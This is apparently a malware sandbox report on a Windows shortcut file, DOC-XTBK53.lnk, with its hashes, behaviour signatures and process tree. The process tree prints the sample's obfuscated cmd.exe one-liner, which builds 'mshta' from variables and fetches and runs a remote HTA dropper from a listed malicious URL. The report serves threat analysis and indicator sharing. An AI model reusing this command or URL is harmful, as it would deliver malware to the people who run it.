Analysis
- max time kernel
40s - max time network
22s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 21:40
Static task
static1
Behavioral task
behavioral1
Sample
DOC-XTBK53.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-XTBK53.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-XTBK53.lnk
- Size 1KB
- Sample260803-1h99ragb65
- SHA256 5b2419891106b6ec145ad94b80bdb463f286918253ac5d27cbe981fccb4cd669
- MD5 4cceb4fa48331d1a416a6fec791a5c35
- SHA1 f0e7385cd8a7c4418bc928b93c377de3075f31f9
- SHA512 50bebff08c264fd3f4f8c8d8fa3a016137ea47680c8809c1a49e6ebbf0aac6d25aeda8f765116a51918e01f869eb8471d54fd76efc26687898ebf2f85ea1ac08
- TLSH T13A3147103EFD0A28F3B79F7684BF5B1489BBB9668D20C61D0140864D5432A01E67BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4200 cmd.exe 5084 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4200 wrote to memory of 5084 4200 cmd.exe 90 PID 5084 wrote to memory of 1696 5084 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XTBK53.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4200 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set JhN=msh&&set zUe=ta&&start "" !JhN!!zUe! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:1696
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